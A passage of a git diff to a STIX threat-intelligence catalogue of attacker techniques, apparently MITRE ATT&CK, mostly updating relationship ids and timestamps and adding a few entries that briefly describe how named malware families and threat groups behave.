             "source_ref": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43",
diff --git a/enterprise-attack/relationship/relationship--4176d195-5740-47c2-874d-51704e7d293e.json b/enterprise-attack/relationship/relationship--4176d195-5740-47c2-874d-51704e7d293e.json
index e7046fdfdd..5ad5803a02 100644
--- a/enterprise-attack/relationship/relationship--4176d195-5740-47c2-874d-51704e7d293e.json
+++ b/enterprise-attack/relationship/relationship--4176d195-5740-47c2-874d-51704e7d293e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a7bc38b1-674f-45f5-a563-60a4827f6ac0",
+    "id": "bundle--1121c400-fe5d-49c3-b67d-48cf0a81767c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4176d195-5740-47c2-874d-51704e7d293e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RedLeaves can communicate to its C2 over TCP using a custom binary protocol.",
             "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
diff --git a/enterprise-attack/relationship/relationship--4189f5b4-4c57-452a-a3fb-da5988804feb.json b/enterprise-attack/relationship/relationship--4189f5b4-4c57-452a-a3fb-da5988804feb.json
index 1e4d6e2148..f61481e92b 100644
--- a/enterprise-attack/relationship/relationship--4189f5b4-4c57-452a-a3fb-da5988804feb.json
+++ b/enterprise-attack/relationship/relationship--4189f5b4-4c57-452a-a3fb-da5988804feb.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--44594f16-474b-42c1-972a-665bb79a2720",
+    "id": "bundle--5336d5e9-e381-4511-b97e-0aab28dc4efd",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4189f5b4-4c57-452a-a3fb-da5988804feb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.067Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group malware IndiaIndia obtains and sends to its C2 server information about the first network interface card\u2019s configuration, including IP address, gateways, subnet mask, DHCP information, and whether WINS is available.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
diff --git a/enterprise-attack/relationship/relationship--41d61146-4a42-4897-b4a1-a706130a322d.json b/enterprise-attack/relationship/relationship--41d61146-4a42-4897-b4a1-a706130a322d.json
index e72a6b536e..b7863353a3 100644
--- a/enterprise-attack/relationship/relationship--41d61146-4a42-4897-b4a1-a706130a322d.json
+++ b/enterprise-attack/relationship/relationship--41d61146-4a42-4897-b4a1-a706130a322d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--06704794-2baf-45d4-84c6-a1c83db2dfb6",
+    "id": "bundle--bf624c7b-230e-4435-b706-cdb1d586aefe",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--41d61146-4a42-4897-b4a1-a706130a322d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.056Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "An APT3 downloader uses the Windows command <code>\"cmd.exe\" /C whoami</code>. The group also uses a tool to execute commands on remote computers.",
             "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
diff --git a/enterprise-attack/relationship/relationship--41edf1d6-15a7-4da5-9bfd-ebee9d53f71e.json b/enterprise-attack/relationship/relationship--41edf1d6-15a7-4da5-9bfd-ebee9d53f71e.json
index b357a8de8d..c0e9c989ad 100644
--- a/enterprise-attack/relationship/relationship--41edf1d6-15a7-4da5-9bfd-ebee9d53f71e.json
+++ b/enterprise-attack/relationship/relationship--41edf1d6-15a7-4da5-9bfd-ebee9d53f71e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9f58a4a6-f589-4a3c-864f-7c5cbc206ee4",
+    "id": "bundle--e4d61df6-ab96-43e9-ad92-37fca3ec870f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--41edf1d6-15a7-4da5-9bfd-ebee9d53f71e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "One variant of CloudDuke uses HTTP and HTTPS for C2.",
             "source_ref": "malware--cbf646f1-7db5-4dc6-808b-0094313949df",
diff --git a/enterprise-attack/relationship/relationship--41f04732-8fdc-4b2f-9e22-7b78ff650e5d.json b/enterprise-attack/relationship/relationship--41f04732-8fdc-4b2f-9e22-7b78ff650e5d.json
index ceaaf4cd7f..a6b702a89a 100644
--- a/enterprise-attack/relationship/relationship--41f04732-8fdc-4b2f-9e22-7b78ff650e5d.json
+++ b/enterprise-attack/relationship/relationship--41f04732-8fdc-4b2f-9e22-7b78ff650e5d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cd93ac9b-1196-4148-bb7c-1c7f21e5b810",
+    "id": "bundle--a543e08e-3608-47c7-8716-0df2074c308a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--41f04732-8fdc-4b2f-9e22-7b78ff650e5d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Mimikatz credential dumper contains an implementation of an SSP.",
             "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
diff --git a/enterprise-attack/relationship/relationship--427a9eb9-659d-433c-9e2c-9a66d115a9a3.json b/enterprise-attack/relationship/relationship--427a9eb9-659d-433c-9e2c-9a66d115a9a3.json
new file mode 100644
index 0000000000..6437108d42
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--427a9eb9-659d-433c-9e2c-9a66d115a9a3.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--875c8dd9-456e-4dc1-8c4c-7b846279d158",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--427a9eb9-659d-433c-9e2c-9a66d115a9a3",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "collects the current username and sends it to the C2 server.",
+            "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1",
+            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
+            "external_references": [
+                {
+                    "source_name": "Forcepoint Felismus Mar 2017",
+                    "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.",
+                    "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--42897880-fe55-4f54-a42c-f85ba19fb39a.json b/enterprise-attack/relationship/relationship--42897880-fe55-4f54-a42c-f85ba19fb39a.json
new file mode 100644
index 0000000000..b16c552c6b
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--42897880-fe55-4f54-a42c-f85ba19fb39a.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--3a507f4a-c3f6-4ec8-a6cb-67750a90ccf1",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--42897880-fe55-4f54-a42c-f85ba19fb39a",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "target_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--42ab2855-fe9b-4ed2-bef7-db3a9dcf5a89.json b/enterprise-attack/relationship/relationship--42ab2855-fe9b-4ed2-bef7-db3a9dcf5a89.json
index 34462a156d..79e3a540f5 100644
--- a/enterprise-attack/relationship/relationship--42ab2855-fe9b-4ed2-bef7-db3a9dcf5a89.json
+++ b/enterprise-attack/relationship/relationship--42ab2855-fe9b-4ed2-bef7-db3a9dcf5a89.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c44377af-3b26-461a-918d-6eb9912958aa",
+    "id": "bundle--6302be92-e032-4676-afd3-7f11a4d7f0d4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--42ab2855-fe9b-4ed2-bef7-db3a9dcf5a89",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.029Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--383caaa3-c46a-4f61-b2e3-653eb132f0e7",
             "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f",
diff --git a/enterprise-attack/relationship/relationship--42d2f816-9db2-47bf-9481-3065d038725d.json b/enterprise-attack/relationship/relationship--42d2f816-9db2-47bf-9481-3065d038725d.json
index fa38cb8da4..b745fe454b 100644
--- a/enterprise-attack/relationship/relationship--42d2f816-9db2-47bf-9481-3065d038725d.json
+++ b/enterprise-attack/relationship/relationship--42d2f816-9db2-47bf-9481-3065d038725d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0b4e9d4a-f479-43c9-b6fb-a7e79bd9e178",
+    "id": "bundle--41e63e6b-04b7-4b18-8059-e3e273ce73ca",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--42d2f816-9db2-47bf-9481-3065d038725d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.034Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Ke3chang actors have been known to copy files to the network shares of other computers to move laterally.",
             "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
diff --git a/enterprise-attack/relationship/relationship--42d4ae64-75da-4dfd-b23f-d270252115ee.json b/enterprise-attack/relationship/relationship--42d4ae64-75da-4dfd-b23f-d270252115ee.json
index d956ed142b..d5d7097ef1 100644
--- a/enterprise-attack/relationship/relationship--42d4ae64-75da-4dfd-b23f-d270252115ee.json
+++ b/enterprise-attack/relationship/relationship--42d4ae64-75da-4dfd-b23f-d270252115ee.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--736dd12e-7a25-4779-bbdb-1dee190b4606",
+    "id": "bundle--014232fa-dad4-4c1b-bae1-bbc995c63a2c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--42d4ae64-75da-4dfd-b23f-d270252115ee",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.076Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Patchwork installed its payload in the startup programs folder as \"Baidu Software Update.\" The group also adds its second stage payload to the startup programs as \u201cNet Monitor.\"",
             "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
diff --git a/enterprise-attack/relationship/relationship--42dc03ec-03fb-4bf0-8f5f-e90d1aacd6e7.json b/enterprise-attack/relationship/relationship--42dc03ec-03fb-4bf0-8f5f-e90d1aacd6e7.json
index 4c8ee6897a..5ef4fbec87 100644
--- a/enterprise-attack/relationship/relationship--42dc03ec-03fb-4bf0-8f5f-e90d1aacd6e7.json
+++ b/enterprise-attack/relationship/relationship--42dc03ec-03fb-4bf0-8f5f-e90d1aacd6e7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0ae769f9-04f4-45ea-a8a3-ae024aa0896a",
+    "id": "bundle--14196d81-24cf-436b-94a3-b6437d8bee42",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--42dc03ec-03fb-4bf0-8f5f-e90d1aacd6e7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "KOMPROGO is capable of retrieving information about the infected system.",
             "source_ref": "malware--7dbb67c7-270a-40ad-836e-c45f8948aa5a",
diff --git a/enterprise-attack/relationship/relationship--432f40d2-5309-4cc1-9544-2943233c3c2c.json b/enterprise-attack/relationship/relationship--432f40d2-5309-4cc1-9544-2943233c3c2c.json
new file mode 100644
index 0000000000..2e2fd48002
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--432f40d2-5309-4cc1-9544-2943233c3c2c.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--e61aa615-bf5e-4615-bb15-5afa897f10b1",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--432f40d2-5309-4cc1-9544-2943233c3c2c",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
+            "target_ref": "tool--242f3da3-4425-4d11-8f5c-b842886da966",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--437dd20a-234f-430b-b9ee-4524e1e12aa9.json b/enterprise-attack/relationship/relationship--437dd20a-234f-430b-b9ee-4524e1e12aa9.json
index e5d791b5f6..3c15b6140a 100644
--- a/enterprise-attack/relationship/relationship--437dd20a-234f-430b-b9ee-4524e1e12aa9.json
+++ b/enterprise-attack/relationship/relationship--437dd20a-234f-430b-b9ee-4524e1e12aa9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--49d8d2ea-bac8-4aa7-b0a5-59ee6b07f4ec",
+    "id": "bundle--adfce8e9-88d2-4cd5-830e-a6421912a939",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--437dd20a-234f-430b-b9ee-4524e1e12aa9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.055Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050",
             "target_ref": "tool--5a63f900-5e7e-4928-a746-dd4558e1df71",
diff --git a/enterprise-attack/relationship/relationship--438cae9c-cb03-4db9-ae59-24ed27147725.json b/enterprise-attack/relationship/relationship--438cae9c-cb03-4db9-ae59-24ed27147725.json
index 543ba916c2..64f3c837cc 100644
--- a/enterprise-attack/relationship/relationship--438cae9c-cb03-4db9-ae59-24ed27147725.json
+++ b/enterprise-attack/relationship/relationship--438cae9c-cb03-4db9-ae59-24ed27147725.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7ae14f98-6214-427e-b9e6-1ced84c11131",
+    "id": "bundle--4c00750d-df08-4fdb-bc29-c5bd215baaa6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--438cae9c-cb03-4db9-ae59-24ed27147725",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Nidiran can download and execute files.",
             "source_ref": "malware--9e9b9415-a7df-406b-b14d-92bfe6809fbe",
diff --git a/enterprise-attack/relationship/relationship--43a63e7a-d673-47c0-9af5-76dcd5a5d9b8.json b/enterprise-attack/relationship/relationship--43a63e7a-d673-47c0-9af5-76dcd5a5d9b8.json
index ecd8b1521c..0263483fcc 100644
--- a/enterprise-attack/relationship/relationship--43a63e7a-d673-47c0-9af5-76dcd5a5d9b8.json
+++ b/enterprise-attack/relationship/relationship--43a63e7a-d673-47c0-9af5-76dcd5a5d9b8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--75a06d00-88dd-481f-b8f3-c5862456aabd",
+    "id": "bundle--2ee9897d-366f-4610-aa34-bbbbbd07df57",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--43a63e7a-d673-47c0-9af5-76dcd5a5d9b8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "4H RAT has the capability to create a remote shell.",
             "source_ref": "malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc",
diff --git a/enterprise-attack/relationship/relationship--43c34939-8236-4ddd-8def-0eb7b5fe62cf.json b/enterprise-attack/relationship/relationship--43c34939-8236-4ddd-8def-0eb7b5fe62cf.json
index 0b052c7ac5..d3fd7acbb6 100644
--- a/enterprise-attack/relationship/relationship--43c34939-8236-4ddd-8def-0eb7b5fe62cf.json
+++ b/enterprise-attack/relationship/relationship--43c34939-8236-4ddd-8def-0eb7b5fe62cf.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9c739972-91ba-493d-9a1d-73042f85171b",
+    "id": "bundle--ecebddcd-6532-4b24-ad0c-ec151a252fae",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--43c34939-8236-4ddd-8def-0eb7b5fe62cf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.036Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT1 has used RAR to compress files before moving them outside of the victim network.",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
diff --git a/enterprise-attack/relationship/relationship--43d85ed6-223e-4402-bd29-be10a872359d.json b/enterprise-attack/relationship/relationship--43d85ed6-223e-4402-bd29-be10a872359d.json
index f56b1f7c3c..09a91864ac 100644
--- a/enterprise-attack/relationship/relationship--43d85ed6-223e-4402-bd29-be10a872359d.json
+++ b/enterprise-attack/relationship/relationship--43d85ed6-223e-4402-bd29-be10a872359d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--89a9c85e-0c20-476d-9bc4-a056dbab316c",
+    "id": "bundle--513676c4-9864-41db-a78a-c361d63eac94",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--43d85ed6-223e-4402-bd29-be10a872359d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PowerDuke has a command to get text of the current foreground window.",
             "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
diff --git a/enterprise-attack/relationship/relationship--43edea0b-efb8-41ab-bdda-f5aa62de439f.json b/enterprise-attack/relationship/relationship--43edea0b-efb8-41ab-bdda-f5aa62de439f.json
index 40bbdd4c50..9343f3239e 100644
--- a/enterprise-attack/relationship/relationship--43edea0b-efb8-41ab-bdda-f5aa62de439f.json
+++ b/enterprise-attack/relationship/relationship--43edea0b-efb8-41ab-bdda-f5aa62de439f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d83101b9-12f8-46fa-9ff7-e2dc29d551d2",
+    "id": "bundle--3e235000-b140-4b99-a4ba-f14e7d4103d4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--43edea0b-efb8-41ab-bdda-f5aa62de439f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Some data in Remsec is encrypted using RC5 in CBC mode, AES-CBC with a hardcoded key, RC4, or Salsa20. Some data is also base64-encoded.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
diff --git a/enterprise-attack/relationship/relationship--44090eb6-1166-4986-8583-60dcc8e69cc7.json b/enterprise-attack/relationship/relationship--44090eb6-1166-4986-8583-60dcc8e69cc7.json
index d7132b3303..6f1be3579d 100644
--- a/enterprise-attack/relationship/relationship--44090eb6-1166-4986-8583-60dcc8e69cc7.json
+++ b/enterprise-attack/relationship/relationship--44090eb6-1166-4986-8583-60dcc8e69cc7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a9ad8279-cedc-4fdb-a4cc-71a94e9000b1",
+    "id": "bundle--b3307232-d21a-4ff4-8da9-29546c76d7e1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--44090eb6-1166-4986-8583-60dcc8e69cc7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RedLeaves can use port 995 for C2.",
             "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
diff --git a/enterprise-attack/relationship/relationship--44259d7d-e156-4e09-a401-ff62f0706cdd.json b/enterprise-attack/relationship/relationship--44259d7d-e156-4e09-a401-ff62f0706cdd.json
index b60fdb1a19..2832cfc121 100644
--- a/enterprise-attack/relationship/relationship--44259d7d-e156-4e09-a401-ff62f0706cdd.json
+++ b/enterprise-attack/relationship/relationship--44259d7d-e156-4e09-a401-ff62f0706cdd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cf139bac-3eb5-4cda-92cb-f734bb9a4ee9",
+    "id": "bundle--ceabe64e-b10b-4323-9936-faf4e0edb1fd",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--44259d7d-e156-4e09-a401-ff62f0706cdd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "dsquery can be used to gather information on user accounts within a domain.",
             "source_ref": "tool--38952eac-cb1b-4a71-bad2-ee8223a1c8fe",
diff --git a/enterprise-attack/relationship/relationship--44273d72-b0d9-42ee-9e8e-53d1b39f0651.json b/enterprise-attack/relationship/relationship--44273d72-b0d9-42ee-9e8e-53d1b39f0651.json
index 6881674ddb..55a567c67c 100644
--- a/enterprise-attack/relationship/relationship--44273d72-b0d9-42ee-9e8e-53d1b39f0651.json
+++ b/enterprise-attack/relationship/relationship--44273d72-b0d9-42ee-9e8e-53d1b39f0651.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e2baffc3-1214-49ca-ad2d-be3ae1212d6c",
+    "id": "bundle--97a59c49-484b-43eb-8e71-dd84fd51b819",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--44273d72-b0d9-42ee-9e8e-53d1b39f0651",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "menuPass has used valid accounts shared between Managed Service Providers and clients to move between the two environments.",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
diff --git a/enterprise-attack/relationship/relationship--442aa7b4-00a0-4d73-ae61-5a09c319ac1c.json b/enterprise-attack/relationship/relationship--442aa7b4-00a0-4d73-ae61-5a09c319ac1c.json
index f346c7702a..1d681bebd3 100644
--- a/enterprise-attack/relationship/relationship--442aa7b4-00a0-4d73-ae61-5a09c319ac1c.json
+++ b/enterprise-attack/relationship/relationship--442aa7b4-00a0-4d73-ae61-5a09c319ac1c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d70bd880-2029-42b0-a93b-89e053d6e85c",
+    "id": "bundle--b97fc2e9-216c-4aaf-bd79-95f0d1ebddcf",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--442aa7b4-00a0-4d73-ae61-5a09c319ac1c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.019Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--a569295c-a093-4db4-9fb4-7105edef85ad",
             "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d",
diff --git a/enterprise-attack/relationship/relationship--4438ba64-0cd2-46e9-8a67-c685bf9b404c.json b/enterprise-attack/relationship/relationship--4438ba64-0cd2-46e9-8a67-c685bf9b404c.json
index 544d74d008..5a39bd274f 100644
--- a/enterprise-attack/relationship/relationship--4438ba64-0cd2-46e9-8a67-c685bf9b404c.json
+++ b/enterprise-attack/relationship/relationship--4438ba64-0cd2-46e9-8a67-c685bf9b404c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ecf024fa-352b-40b6-bdc3-fcadd87d88bb",
+    "id": "bundle--325f0005-675b-453e-9240-f9dfa2aa5908",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4438ba64-0cd2-46e9-8a67-c685bf9b404c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sykipot may gather a list of running processes by running <code>tasklist /v</code>.",
             "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9",
diff --git a/enterprise-attack/relationship/relationship--4477e350-645d-40de-8de7-7a6e1680c2e0.json b/enterprise-attack/relationship/relationship--4477e350-645d-40de-8de7-7a6e1680c2e0.json
index c6db8ff4a7..16202d53e3 100644
--- a/enterprise-attack/relationship/relationship--4477e350-645d-40de-8de7-7a6e1680c2e0.json
+++ b/enterprise-attack/relationship/relationship--4477e350-645d-40de-8de7-7a6e1680c2e0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ae8a90cc-dcd5-40c5-9fec-2ed9db76a942",
+    "id": "bundle--43e7dfe2-92bc-48fa-8daa-0be49d0c4369",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4477e350-645d-40de-8de7-7a6e1680c2e0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT32 uses Cobalt Strike's malleable C2 functionality to blend in with network traffic.",
             "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
diff --git a/enterprise-attack/relationship/relationship--44858dc2-c869-42a0-8f67-3ddd9660b538.json b/enterprise-attack/relationship/relationship--44858dc2-c869-42a0-8f67-3ddd9660b538.json
index 4a6ad7ff27..bb32b8585f 100644
--- a/enterprise-attack/relationship/relationship--44858dc2-c869-42a0-8f67-3ddd9660b538.json
